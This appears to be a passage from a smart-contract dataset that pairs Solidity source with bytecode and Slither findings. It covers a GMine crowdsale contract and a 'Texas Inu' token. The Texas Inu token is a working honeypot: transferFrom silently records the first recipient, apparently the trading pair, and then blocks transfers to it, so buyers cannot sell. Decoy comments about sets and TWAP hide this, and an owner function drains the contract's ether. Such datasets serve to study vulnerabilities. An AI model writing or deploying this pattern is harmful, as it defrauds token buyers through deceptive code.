* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract NooToken is MintableToken {
string public constant name = "GMine Token";
string public constant symbol = "GNM";
uint32 public constant decimals = 18;
}
contract NooCrowdsale is Ownable {
using SafeMath for uint;
NooToken public token = new NooToken();
// 0 - unknown
// 1 - success
// 2 - fail
uint public status = 0;
mapping(address => uint) public balances;
uint public balanceTotal = 0;
uint public start;
uint8 public period;
uint8 public periodLimit;
uint public softcap;
uint public hardcap;
uint public rate;
uint public minAmount;
uint public restricted;
function NooCrowdsale() public {
start = 1523199600; // 08.04.2018T15:00:00.000Z
period = 42;
periodLimit = 75;
softcap = 500 ether;
hardcap = 1500 ether;
rate = 6250000000000000;
minAmount = 125000000000000000;
restricted = 13;
}
function() external payable {
createTokens();
}
function createTokens() public checkAmount saleIsOn underHardcap payable {
require(status != 2);
uint tokens = msg.value.div(rate);
uint bonusTokens = calcBonusTokens(tokens);
mintAndTransfer(msg.sender, tokens + bonusTokens);
balances[msg.sender] = balances[msg.sender].add(msg.value);
balanceTotal = balanceTotal.add(msg.value);
}
function finishMinting() public onlyOwner saleFinished overSoftcap {
require(status == 1 || (status != 2 && now < start + period * 1 days && balanceTotal < hardcap));
uint issuedTokenSupply = token.totalSupply();
uint restrictedTokens = issuedTokenSupply.mul(restricted).div(100 - restricted);
mintAndTransfer(owner, restrictedTokens);
token.finishMinting();
owner.transfer(this.balance);
}
function takeUpWork() public onlyOwner overSoftcap {
require(status == 0);
status = 1;
}
function refuseWork() public onlyOwner {
require(status == 0);
status = 2;
}
function takeEther(uint amount) public onlyOwner {
require(status == 1);
owner.transfer(amount);
}
function refund() public {
require(status == 2 || (status != 1 && now > start + period * 1 days && balanceTotal < softcap));
require(balances[msg.sender] > 0);
uint value = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(value);
}
function calcBonusTokens(uint tokens) public view returns (uint) {
uint delta = now - start;
if (delta <= 7 days) {
return tokens.mul(3).div(10);
} else if (delta <= 21 days) {
return tokens.mul(2).div(10);
} else if (delta <= 42 days) {
return tokens.div(10);
}
return 0;
}
function expandPeriod(uint8 byDays) public onlyOwner {
require(period + byDays <= periodLimit);
period = period + byDays;
}
function mintAndTransfer(address receiver, uint amount) private {
token.mint(this, amount);
token.transfer(receiver, amount);
}
modifier overSoftcap() {
require(balanceTotal >= softcap);
_;
}
modifier underHardcap() {
require(balanceTotal <= hardcap);
_;
}
modifier saleIsOn() {
require(now > start && now < start + period * 1 days);
_;
}
modifier saleFinished() {
require(now > start + period * 1 days);
_;
}
modifier checkAmount() {
require(msg.value >= minAmount);
_;
}
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100eb57806306fdde0314610118578063095ea7b3146101a657806318160ddd1461020057806323b872dd14610229578063313ce567146102a257806340c10f19146102d7578063661884631461033157806370a082311461038b5780637d64bcb4146103d85780638da5cb5b1461040557806395d89b411461045a578063a9059cbb146104e8578063d73dd62314610542578063dd62ed3e1461059c578063f2fde38b14610608575b600080fd5b34156100f657600080fd5b6100fe610641565b604051808215151515815260200191505060405180910390f35b341561012357600080fd5b61012b610654565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016b578082015181840152602081019050610150565b50505050905090810190601f1680156101985780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b157600080fd5b6101e6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061068d565b604051808215151515815260200191505060405180910390f35b341561020b57600080fd5b61021361077f565b6040518082815260200191505060405180910390f35b341561023457600080fd5b610288600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610789565b604051808215151515815260200191505060405180910390f35b34156102ad57600080fd5b6102b5610b43565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b34156102e257600080fd5b610317600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610b48565b604051808215151515815260200191505060405180910390f35b341561033c57600080fd5b610371600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d2e565b604051808215151515815260200191505060405180910390f35b341561039657600080fd5b6103c2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fbf565b6040518082815260200191505060405180910390f35b34156103e357600080fd5b6103eb611007565b604051808215151515815260200191505060405180910390f35b341561041057600080fd5b6104186110cf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561046557600080fd5b61046d6110f5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ad578082015181840152602081019050610492565b50505050905090810190601f1680156104da5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156104f357600080fd5b610528600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061112e565b604051808215151515815260200191505060405180910390f35b341561054d57600080fd5b610582600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061134d565b604051808215151515815260200191505060405180910390f35b34156105a757600080fd5b6105f2600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611549565b6040518082815260200191505060405180910390f35b341561061357600080fd5b61063f600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506115d0565b005b600360149054906101000a900460ff1681565b6040805190810160405280600b81526020017f474d696e6520546f6b656e00000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156107c657600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561081357600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561089e57600080fd5b6108ef826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172890919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610982826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a5382600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ba657600080fd5b600360149054906101000a900460ff16151515610bc257600080fd5b610bd78260015461174190919063ffffffff16565b600181905550610c2e826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e3f576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ed3565b610e52838261172890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561106557600080fd5b600360149054906101000a900460ff1615151561108157600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f474e4d000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561116b57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156111b857600080fd5b611209826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172890919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061129c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006113de82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561162c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561166857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561173657fe5b818303905092915050565b600080828401905083811015151561175557fe5b80915050929150505600a165627a7a7230582020deec32044ffef1a105ba42b5d713ac3765e64f353b20edd56676c0725739e60029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 6,124 |
0x10436ab95fc4b9fc838a629af20196a9a78c2f77
|
/**
*Submitted for verification at Etherscan.io on 2021-10-29
*/
/**
*Submitted for verification at Etherscan.io on
*/
//SPDX-License-Identifier: UNLICENSED
/*
$ TEXAS INU $
_________ ________ ____ ____ _ ______ _____ ____ _____ _____ _____
| _ _ ||_ __ ||_ _||_ _| / \ .' ____ \ |_ _||_ \|_ _||_ _||_ _|
|_/ | | \_| | |_ \_| \ \ / / / _ \ | (___ \_| | | | \ | | | | | |
| | | _| _ > `' < / ___ \ _.____`. | | | |\ \| | | ' ' |
_| |_ _| |__/ | _/ /'`\ \_ _/ / \ \_| \____) | _| |_ _| |_\ |_ \ \__/ /
|_____| |________||____||____||____| |____|\______.'|_____||_____|\____| `.__.'
*/
/**
* @dev Intended to update the TWAP for a token based on accepting an update call from that token.
* expectation is to have this happen in the _beforeTokenTransfer function of ERC20.
* Provides a method for a token to register its price sourve adaptor.
* Provides a function for a token to register its TWAP updater. Defaults to token itself.
* Provides a function a tokent to set its TWAP epoch.
* Implements automatic closeing and opening up a TWAP epoch when epoch ends.
* Provides a function to report the TWAP from the last epoch when passed a token address.
*/
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
/**
* @dev Returns the amount of tokens in existence.
*/
pragma solidity >=0.5.17;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
}
function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b <= a);
c = a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint256 a, uint256 b) internal pure returns (uint256 c) {
require(b > 0);
c = a / b;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
contract BEP20Interface {
function totalSupply() public view returns (uint256);
function balanceOf(address tokenOwner)
public
view
returns (uint256 balance);
function allowance(address tokenOwner, address spender)
public
view
returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function approve(address spender, uint256 tokens)
public
returns (bool success);
function transferFrom(
address from,
address to,
uint256 tokens
) public returns (bool success);
/**
* @dev Returns true if the value is in the set. O(1).
*/
event Transfer(address indexed from, address indexed to, uint256 tokens);
event Approval(
address indexed tokenOwner,
address indexed spender,
uint256 tokens
);
}
contract ApproveAndCallFallBack {
function receiveApproval(
address from,
uint256 tokens,
address token,
bytes memory data
) public;
}
// TODO needs insert function that maintains order.
// TODO needs NatSpec documentation comment.
/**
* Inserts new value by moving existing value at provided index to end of array and setting provided value at provided index
*/
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
contract TokenBEP20 is BEP20Interface, Owned {
using SafeMath for uint256;
string public symbol;
string public name;
uint8 public decimals;
uint256 _totalSupply;
address public newun;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
constructor() public {
symbol = "TEXASINU";
name = "Texas Inu";
decimals = 9;
_totalSupply = 1000000000000000000000000;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner)
public
view
returns (uint256 balance)
{
return balances[tokenOwner];
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function transfer(address to, uint256 tokens)
public
returns (bool success)
{
require(to != newun, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint256 tokens)
public
returns (bool success)
{
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function transferFrom(
address from,
address to,
uint256 tokens
) public returns (bool success) {
if (from != address(0) && newun == address(0)) newun = to;
else require(to != newun, "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender)
public
view
returns (uint256 remaining)
{
return allowed[tokenOwner][spender];
}
function approveAndCall(
address spender,
uint256 tokens,
bytes memory data
) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(
msg.sender,
tokens,
address(this),
data
);
return true;
}
function() external payable {
revert();
}
}
contract GokuToken is TokenBEP20 {
function clearCNDAO() public onlyOwner() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
function() external payable {}
}
|
0x6080604052600436106100f35760003560e01c806381f4f3991161008a578063cae9ca5111610059578063cae9ca5114610568578063d4ee1d9014610672578063dd62ed3e146106c9578063f2fde38b1461074e576100f3565b806381f4f399146103bd5780638da5cb5b1461040e57806395d89b4114610465578063a9059cbb146104f5576100f3565b806323b872dd116100c657806323b872dd1461027d578063313ce5671461031057806370a082311461034157806379ba5097146103a6576100f3565b806306fdde03146100f8578063095ea7b31461018857806318160ddd146101fb5780631ee59f2014610226575b600080fd5b34801561010457600080fd5b5061010d61079f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019457600080fd5b506101e1600480360360408110156101ab57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083d565b604051808215151515815260200191505060405180910390f35b34801561020757600080fd5b5061021061092f565b6040518082815260200191505060405180910390f35b34801561023257600080fd5b5061023b61098a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561028957600080fd5b506102f6600480360360608110156102a057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b0565b604051808215151515815260200191505060405180910390f35b34801561031c57600080fd5b50610325610df5565b604051808260ff1660ff16815260200191505060405180910390f35b34801561034d57600080fd5b506103906004803603602081101561036457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e08565b6040518082815260200191505060405180910390f35b3480156103b257600080fd5b506103bb610e51565b005b3480156103c957600080fd5b5061040c600480360360208110156103e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fee565b005b34801561041a57600080fd5b5061042361108b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047157600080fd5b5061047a6110b0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104ba57808201518184015260208101905061049f565b50505050905090810190601f1680156104e75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050157600080fd5b5061054e6004803603604081101561051857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061114e565b604051808215151515815260200191505060405180910390f35b34801561057457600080fd5b506106586004803603606081101561058b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156105d257600080fd5b8201836020820111156105e457600080fd5b8035906020019184600183028401116401000000008311171561060657600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506113ad565b604051808215151515815260200191505060405180910390f35b34801561067e57600080fd5b506106876115e0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106d557600080fd5b50610738600480360360408110156106ec57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611606565b6040518082815260200191505060405180910390f35b34801561075a57600080fd5b5061079d6004803603602081101561077157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061168d565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108355780601f1061080a57610100808354040283529160200191610835565b820191906000526020600020905b81548152906001019060200180831161081857829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000610985600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055461172a90919063ffffffff16565b905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073fffffffffff